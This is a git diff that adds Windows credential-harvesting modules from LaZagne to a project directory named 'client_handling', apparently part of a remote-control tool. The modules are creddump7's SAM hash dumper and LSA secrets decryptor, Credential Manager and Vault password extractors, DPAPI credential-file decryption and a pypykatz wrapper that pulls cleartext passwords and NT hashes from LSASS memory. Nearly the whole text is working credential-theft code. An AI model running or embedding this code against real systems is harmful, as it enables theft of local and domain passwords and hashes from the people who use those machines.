int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2]) + s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2]) + return str_to_key(s1), str_to_key(s2) + + +def find_control_set(sysaddr): + root = get_root(sysaddr) + if not root: + return 1 + + csselect = open_key(root, [b"Select"]) + if not csselect: + return 1 + + for v in values(csselect): + if v.Name == b"Current": + return v.Data.value + + +def get_bootkey(sysaddr): + cs = find_control_set(sysaddr) + lsa_base = [b"ControlSet%03d" % cs, b"Control", b"Lsa"] + lsa_keys = [b"JD", b"Skew1", b"GBG", b"Data"] + + root = get_root(sysaddr) + if not root: + return None + + lsa = open_key(root, lsa_base) + if not lsa: + return None + + bootkey = b"" + + for lk in lsa_keys: + key = open_key(lsa, [lk]) + class_data = sysaddr.read(key.Class.value, key.ClassLength.value) + bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex') + + bootkey_scrambled = b"" + for i in range(len(bootkey)): + try: + bootkey_scrambled += bootkey[p[i]] + except TypeError: + bootkey_scrambled += bytes([bootkey[p[i]]]) + return bootkey_scrambled + + +def get_hbootkey(samaddr, bootkey): + sam_account_path = [b"SAM", b"Domains", b"Account"] + + root = get_root(samaddr) + if not root: + return None + + sam_account_key = open_key(root, sam_account_path) + if not sam_account_key: + return None + + F = None + for v in values(sam_account_key): + if v.Name == b'F': + F = samaddr.read(v.Data.value, v.DataLength.value) + if not F: + return None + + revision = ord(F[0x00]) + if revision == 2: + md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum) + rc4_key = md5.digest() + rc4 = RC4(rc4_key) + hbootkey = rc4.encrypt(F[0x80:0xA0]) + + return hbootkey + + elif revision == 3: + iv = F[0x78:0x88] + encryptedHBootKey = F[0x88:0xA8] + cipher = AESModeOfOperationCBC(bootkey, iv=iv) + hbootkey = b"".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)]) + + return hbootkey[:16] + + +def get_user_keys(samaddr): + user_key_path = [b"SAM", b"Domains", b"Account", b"Users"] + root = get_root(samaddr) + if not root: + return [] + + user_key = open_key(root, user_key_path) + if not user_key: + return [] + + return [k for k in subkeys(user_key) if k.Name != b"Names"] + + +def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): + if enc_hash == "": + return "" + (des_k1, des_k2) = sid_to_key(rid) + d1 = des(des_k1, ECB) + d2 = des(des_k2, ECB) + md5 = hashlib.md5() + md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr) + rc4_key = md5.digest() + rc4 = RC4(rc4_key) + obfkey = rc4.encrypt(enc_hash) + hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:]) + return hash_ + + +def decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt): + if enc_hash == "": + return "" + (des_k1, des_k2) = sid_to_key(rid) + d1 = des(des_k1, ECB) + d2 = des(des_k2, ECB) + cipher = AESModeOfOperationCBC(hbootkey, salt) + obfkey = b"".join([cipher.decrypt(enc_hash[i:i + AES_BLOCK_SIZE]) for i in range(0, len(enc_hash), AES_BLOCK_SIZE)]) + + hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16]) + return hash_ + + +def get_user_hashes(user_key, hbootkey): + samaddr = user_key.space + rid = int(user_key.Name, 16) + V = None + for v in values(user_key): + if v.Name == 'V': + V = samaddr.read(v.Data.value, v.DataLength.value) + if not V: return None + hash_offset = unpack("<L", V[0xa8:0xa8+4])[0] + 0xCC + + lm_offset_bytes = V[0x9c:0x9c+4] + nt_offset_bytes = V[0x9c+12:0x9c+16] + lm_offset = unpack("<L", lm_offset_bytes)[0] + 204 + nt_offset = unpack("<L", nt_offset_bytes)[0] + 204 + + lm_revision = int(codecs.encode(V[lm_offset+2:lm_offset+3], 'hex').decode(), 16) + if lm_revision == 1: + lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False + enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else "" + lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword) + + elif lm_revision == 2: + lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 56 else False + lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else "" + enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else "" + lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt) + + nt_revision = int(codecs.encode(V[nt_offset+2:nt_offset+3], 'hex').decode(), 16) + if nt_revision == 1: + nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False + enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else "" + nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword) + + elif nt_revision == 2: + nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 56 else False + nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else "" + enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else "" + nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt) + + return lmhash, nthash + + +def get_user_name(user_key): + samaddr = user_key.space + V = None + for v in values(user_key): + if v.Name == b'V': + V = samaddr.read(v.Data.value, v.DataLength.value) + if not V: + return None + + name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC + name_length = unpack("<L", V[0x10:0x14])[0] + + username = V[name_offset:name_offset + name_length].decode('utf-16-le') + return username + + +def dump_hashes(sysaddr, samaddr): + bootkey = get_bootkey(sysaddr) + hbootkey = get_hbootkey(samaddr, bootkey) + results = [] + for user in get_user_keys(samaddr): + lmhash, nthash = get_user_hashes(user, hbootkey) + if not lmhash: + lmhash = empty_lm + if not nthash: + nthash = empty_nt + results.append( + "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), codecs.encode(lmhash, 'hex').decode(), + codecs.encode(nthash, 'hex').decode())) + return results + + +def dump_file_hashes(syshive_fname, samhive_fname): + sysaddr = HiveFileAddressSpace(syshive_fname) + samaddr = HiveFileAddressSpace(samhive_fname) + return dump_hashes(sysaddr, samaddr) diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py new file mode 100644 index 0000000..232a0f4 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py @@ -0,0 +1,183 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see <http://www.gnu.org/licenses/>. + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import hashlib +import os + +from .rawreg import * +from ..addrspace import HiveFileAddressSpace +from .hashdump import get_bootkey, str_to_key +from foreign.client_handling.lazagne.config.crypto.rc4 import RC4 +from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC + + +def get_lsa_key(secaddr, bootkey, vista): + root = get_root(secaddr) + if not root: + return None + + if vista: + enc_reg_key = open_key(root, [b"Policy", b"PolEKList"]) + else: + enc_reg_key = open_key(root, [b"Policy", b"PolSecretEncryptionKey"]) + + if not enc_reg_key: + return None + + enc_reg_value = enc_reg_key.ValueList.List[0] + if not enc_reg_value: + return None + + obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value) + if not obf_lsa_key: + return None + + if not vista: + md5 = hashlib.md5() + md5.update(bootkey) + for i in range(1000): + md5.update(obf_lsa_key[60:76]) + rc4key = md5.digest() + rc4 = RC4(rc4key) + lsa_key = rc4.encrypt(obf_lsa_key[12:60]) + lsa_key = lsa_key[0x10:0x20] + else: + lsa_key = decrypt_aes(obf_lsa_key, bootkey) + lsa_key = lsa_key[68:100] + + return lsa_key + + +def decrypt_secret(secret, key): + """Python implementation of SystemFunction005. + + Decrypts a block of data with DES using given key. + Note that key can be longer than 7 bytes.""" + decrypted_data = b'' + j = 0 # key index + for i in range(0, len(secret), 8): + enc_block = secret[i:i + 8] + block_key = key[j:j + 7] + des_key = str_to_key(block_key) + crypter = des(des_key, ECB) + + try: + decrypted_data += crypter.decrypt(enc_block) + except Exception: + continue + + j += 7 + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) + + (dec_data_len,) = unpack("<L", decrypted_data[:4]) + return decrypted_data[8:8 + dec_data_len] + + +def decrypt_aes(secret, key): + sha = hashlib.sha256() + sha.update(key) + for _i in range(1, 1000 + 1): + sha.update(secret[28:60]) + aeskey = sha.digest() + + data = b"" + for i in range(60, len(secret), 16): + aes = AESModeOfOperationCBC(aeskey, iv="\x00" * 16) + buf = secret[i: i + 16] + if len(buf) < 16: + buf += (16 - len(buf)) * "\00" + + data += aes.decrypt(buf) + + return data + + +def get_secret_by_name(secaddr, name, lsakey, vista): + root = get_root(secaddr) + if not root: + return None + + enc_secret_key = open_key(root, [b"Policy", b"Secrets", name, b"CurrVal"]) + if not enc_secret_key: + return None + + enc_secret_value = enc_secret_key.ValueList.List[0] + if not enc_secret_value: + return None + + enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value) + if not enc_secret: + return None + + if vista: + secret = decrypt_aes(enc_secret, lsakey) + else: + secret = decrypt_secret(enc_secret[0xC:], lsakey) + + return secret + + +def get_secrets(sysaddr, secaddr, vista): + root = get_root(secaddr) + if not root: + return None + + bootkey = get_bootkey(sysaddr) + lsakey = get_lsa_key(secaddr, bootkey, vista) + + secrets_key = open_key(root, [b"Policy", b"Secrets"]) + if not secrets_key: + return None + + secrets = {} + for key in subkeys(secrets_key): + sec_val_key = open_key(key, [b"CurrVal"]) + if not sec_val_key: + continue + + enc_secret_value = sec_val_key.ValueList.List[0] + if not enc_secret_value: + continue + + enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value) + if not enc_secret: + continue + + if vista: + secret = decrypt_aes(enc_secret, lsakey) + else: + secret = decrypt_secret(enc_secret[0xC:], lsakey) + + secrets[key.Name] = secret + + return secrets + + +def get_file_secrets(sysfile, secfile, vista): + if not os.path.isfile(sysfile) or not os.path.isfile(secfile): + return + + sysaddr = HiveFileAddressSpace(sysfile) + secaddr = HiveFileAddressSpace(secfile) + + return get_secrets(sysaddr, secaddr, vista) diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py new file mode 100644 index 0000000..9d80355 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py @@ -0,0 +1,81 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see <http://www.gnu.org/licenses/>. + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from ..newobj import Obj, Pointer +from struct import unpack + +ROOT_INDEX = 0x20 +LH_SIG = unpack("<H", b"lh")[0] +LF_SIG = unpack("<H", b"lf")[0] +RI_SIG = unpack("<H", b"ri")[0] + + +def get_root(address_space): + return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space) + + +def open_key(root, key): + if not key: + return root + + keyname = key.pop(0) + for s in subkeys(root): + if s.Name.upper() == keyname.upper(): + return open_key(s, key) + # print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name) + return None + + +def subkeys(key, stable=True): + if stable: + k = 0 + else: + k = 1 + + sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value + sub_list = [] + if (sk.Signature.value == LH_SIG or + sk.Signature.value == LF_SIG): + sub_list = sk.List + elif sk.Signature.value == RI_SIG: + lfs = [] + for i in range(sk.Count.value): + off, tp = sk.get_offset(['List', i]) + lfs.append(Pointer("pointer", sk.address+off, sk.space, + ["_CM_KEY_INDEX"])) + for lf in lfs: + sub_list += lf.List + + for s in sub_list: + if s.is_valid() and s.Signature.value == 27502: + yield s.value + + +def values(key): + for v in key.ValueList.List: + yield v.value + + +def walk(root): + for k in subkeys(root): + yield k + for j in walk(k): + yield j diff --git a/foreign/client_handling/lazagne/softwares/windows/credfiles.py b/foreign/client_handling/lazagne/softwares/windows/credfiles.py new file mode 100644 index 0000000..7d5a76a --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/credfiles.py @@ -0,0 +1,22 @@ +# -*- coding: utf-8 -*- +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant +import os + + +class CredFiles(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True) + + def run(self): + pwd_found = [] + if constant.user_dpapi and constant.user_dpapi.unlocked: + creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials') + if os.path.exists(creds_directory): + for cred_file in os.listdir(creds_directory): + # decrypting creds files (Credman module not allow to retrieve domain password) + cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file)) + if cred: + pwd_found.append(cred) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/windows/credman.py b/foreign/client_handling/lazagne/softwares/windows/credman.py new file mode 100644 index 0000000..309a125 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/credman.py @@ -0,0 +1,34 @@ +# -*- coding: utf-8 -*- +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import * + + +class Credman(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'credman', 'windows', only_from_current_user=True) + + def run(self): + pwd_found = [] + # FOR XP + # - password are encrypted with specific salt depending on its Type + # entropy = 'abe2869f-9b47-4cd9-a358-c22904dba7f7\\0' # FOR CRED_TYPE_GENERIC + # entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\\0' # FOR CRED_TYPE_DOMAIN_VISIBLE_PASSWORD + # CryptUnprotectData(byref(blobIn),None,byref(blobEntropy),None,None,CRYPTPROTECT_UI_FORBIDDEN,byref(blobOut)) + + creds = POINTER(PCREDENTIAL)() + count = c_ulong() + + if CredEnumerate(None, 0, byref(count), byref(creds)) == 1: + for i in range(count.value): + c = creds[i].contents + if c.Type == CRED_TYPE_GENERIC or c.Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: + # Remove password too long + if c.CredentialBlobSize.real < 200: + pwd_found.append({ + 'URL': c.TargetName, + 'Login': c.UserName, + 'Password': c.CredentialBlob[:c.CredentialBlobSize.real] # \\x00 could be deleted + }) + + CredFree(creds) + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/windows/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/hashdump.py new file mode 100644 index 0000000..2d53f28 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/hashdump.py @@ -0,0 +1,15 @@ +# -*- coding: utf-8 -*- +from .creddump7.win32.hashdump import dump_file_hashes +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant + + +class Hashdump(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'hashdump', 'windows', system_module=True) + + def run(self): + hashdump = dump_file_hashes(constant.hives['system'], constant.hives['sam']) + if hashdump: + pwd_found = ['__Hashdump__', hashdump] + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py b/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py new file mode 100644 index 0000000..42645d6 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py @@ -0,0 +1,34 @@ +# -*- coding: utf-8 -*- +import struct + +from .creddump7.win32.lsasecrets import get_file_secrets +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import get_os_version +from foreign.client_handling.lazagne.config.constant import constant + + +class LSASecrets(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'lsa_secrets', 'windows', system_module=True) + + def run(self): + + # DPAPI structure could compute lsa secrets as well, so do not do it again + if constant.lsa_secrets: + return ['__LSASecrets__', constant.lsa_secrets] + + is_vista_or_higher = False + if float(get_os_version()) >= 6.0: + is_vista_or_higher = True + + # Get LSA Secrets + secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher) + if secrets: + # Clear DPAPI master key + clear = secrets[b'DPAPI_SYSTEM'] + size = struct.unpack_from("<L", clear)[0] + secrets[b'DPAPI_SYSTEM'] = clear[16:16 + 44] + + # Keep value to be reused in other module (e.g wifi) + constant.lsa_secrets = secrets + return ['__LSASecrets__', secrets] diff --git a/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py b/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py new file mode 100644 index 0000000..d0d91d1 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py @@ -0,0 +1,73 @@ +# -*- coding: utf-8 -*- + +# Thanks to @skelsec for his awesome tool Pypykatz +# Checks his project here: https://github.com/skelsec/pypykatz + +import codecs + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant +from pypykatz.pypykatz import pypykatz + + +class Pypykatz(ModuleInfo): + """ + Pypykatz dumps all secrets from the lsass.exe memory + It does not work if: + - LSASS is running as a protected process + - A security product blocks this access + """ + + def __init__(self): + ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True) + + def run(self): + mimi = None + try: + mimi = pypykatz.go_live() + except Exception: + pass + + if mimi: + results = {} + logon_sessions = mimi.to_dict().get('logon_sessions', []) + for logon_session in logon_sessions: + + # Right now kerberos_creds, dpapi_creds and credman_creds results are not used + user = logon_sessions[logon_session].to_dict() + + # Get cleartext password + for i in ['ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']: + for data in user.get(i, []): + if all((data['username'], data['domainname'], data['password'])): + login = data['username'] + if login not in results: + results[login] = {} + + results[login]['Domain'] = data['domainname'] + results[login]['Password'] = data['password'] + + # msv_creds to get sha1 user hash + for data in user.get('msv_creds', []): + if data['username']: + login = data['username'] + else: + login = user['username'] + + if login not in results: + results[login] = {} + + if data['SHAHash']: + results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex') + if data['LMHash']: + results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex') + if data['NThash']: + results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex') + + constant.pypykatz_result = results + pwd_found = [] + for user in results: + results[user]['Login'] = user + pwd_found.append(results[user]) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/windows/vault.py b/foreign/client_handling/lazagne/softwares/windows/vault.py new file mode 100644 index 0000000..9c8e8cc --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/vault.py @@ -0,0 +1,71 @@ +# -*- coding: utf-8 -*- +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import * +from ctypes.wintypes import * + + +class Vault(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'vault', 'windows', only_from_current_user=True) + + def run(self): + + # retrieve passwords (IE, etc.) using the Windows Vault API + if float(get_os_version()) <= 6.1: + self.info(u'Vault not supported for this OS') + return + + cbVaults = DWORD() + vaults = LPGUID() + hVault = HANDLE(INVALID_HANDLE_VALUE) + cbItems = DWORD() + items = c_char_p() + pwd_found = [] + + if vaultEnumerateVaults(0, byref(cbVaults), byref(vaults)) == 0: + if cbVaults.value == 0: + self.debug(u'No Vaults found') + return + else: + for i in range(cbVaults.value): + if vaultOpenVault(byref(vaults[i]), 0, byref(hVault)) == 0: + if hVault: + if vaultEnumerateItems(hVault, 0x200, byref(cbItems), byref(items)) == 0: + + for j in range(cbItems.value): + + items8 = cast(items, POINTER(VAULT_ITEM_WIN8)) + pItem8 = PVAULT_ITEM_WIN8() + try: + values = { + 'URL': str(items8[j].pResource.contents.data.string), + 'Login': str(items8[j].pUsername.contents.data.string) + } + if items8[j].pName: + values['Name'] = items8[j].pName + + if vaultGetItem8(hVault, byref(items8[j].id), items8[j].pResource, + items8[j].pUsername, items8[j].unknown0, None, 0, + byref(pItem8)) == 0: + + password = pItem8.contents.pPassword.contents.data.string + # Remove password too long + if password and len(password) < 100: + values['Password'] = password + + pwd_found.append(values) + + except Exception as e: + self.debug(e) + + if pItem8: + vaultFree(pItem8) + + if items: + vaultFree(items) + + vaultCloseVault(byref(hVault)) + + vaultFree(vaults) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py b/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py new file mode 100644 index 0000000..57544b8 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py @@ -0,0 +1,23 @@ +# -*- coding: utf-8 -*- +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant +import os + + +class VaultFiles(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'vaultfiles', 'windows', dpapi_used=True) + + def run(self): + + pwd_found = [] + if constant.user_dpapi and constant.user_dpapi.unlocked: + main_vault_directory = os.path.join(constant.profile['APPDATA'], u'..', u'Local', u'Microsoft', u'Vault') + main_vault_directory = os.path.abspath(main_vault_directory) + if os.path.exists(main_vault_directory): + for vault_directory in os.listdir(main_vault_directory): + cred = constant.user_dpapi.decrypt_vault(os.path.join(main_vault_directory, vault_directory)) + if cred: + pwd_found.append(cred) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/windows/windows.py b/foreign/client_handling/lazagne/softwares/windows/windows.py new file mode 100644 index 0000000..7527f3c --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/windows.py @@ -0,0 +1,77 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_LOCAL_MACHINE +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.users import get_username_winapi + + +class WindowsPassword(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'windows', 'windows') + self.current_user = get_username_winapi() + + def is_in_domain(self): + """ + Return the context of the host + If a domain controller is set we are in an active directory. + """ + try: + key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\') + val, _ = winreg.QueryValueEx(key, 'DCName') + winreg.CloseKey(key) + return val + except Exception: + return False + + def run(self): + """ + - Check if the user password has already be found using Pypykatz + - If not, check if a password stored in another application is also used as windows password + - Windows password not found, return the DPAPI hash (not admin priv needed) to bruteforce using John or Hashcat + """ + # Check if password has already been found + if constant.pypykatz_result.get(self.current_user, None): + if 'Password' in constant.pypykatz_result[self.current_user]: + # Password already printed on the Pypykatz module - do not print it again + self.info('User has already be found: {password}'.format( + password=constant.pypykatz_result[self.current_user]['Password']) + ) + return + + # Password not already found + pwd_found = [] + if constant.user_dpapi and constant.user_dpapi.unlocked: + # Check if a password already found is a windows password + password = constant.user_dpapi.get_cleartext_password() + if password: + pwd_found.append({ + 'Login': constant.username, + 'Password': password + }) + else: + # Retrieve dpapi hash used to bruteforce (hash can be retrieved without needed admin privilege) + # Method taken from Jean-Christophe Delaunay - @Fist0urs + # https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf + + self.info( + u'Windows passwords not found.\n' + u'Try to bruteforce this hash (using john or hashcat)' + ) + if constant.user_dpapi: + context = 'local' + if self.is_in_domain(): + context = 'domain' + + h = constant.user_dpapi.get_dpapi_hash(context=context) + if h: + pwd_found.append({ + 'Dpapi_hash_{context}'.format(context=context): constant.user_dpapi.get_dpapi_hash( + context=context) + }) + + return pwd_found |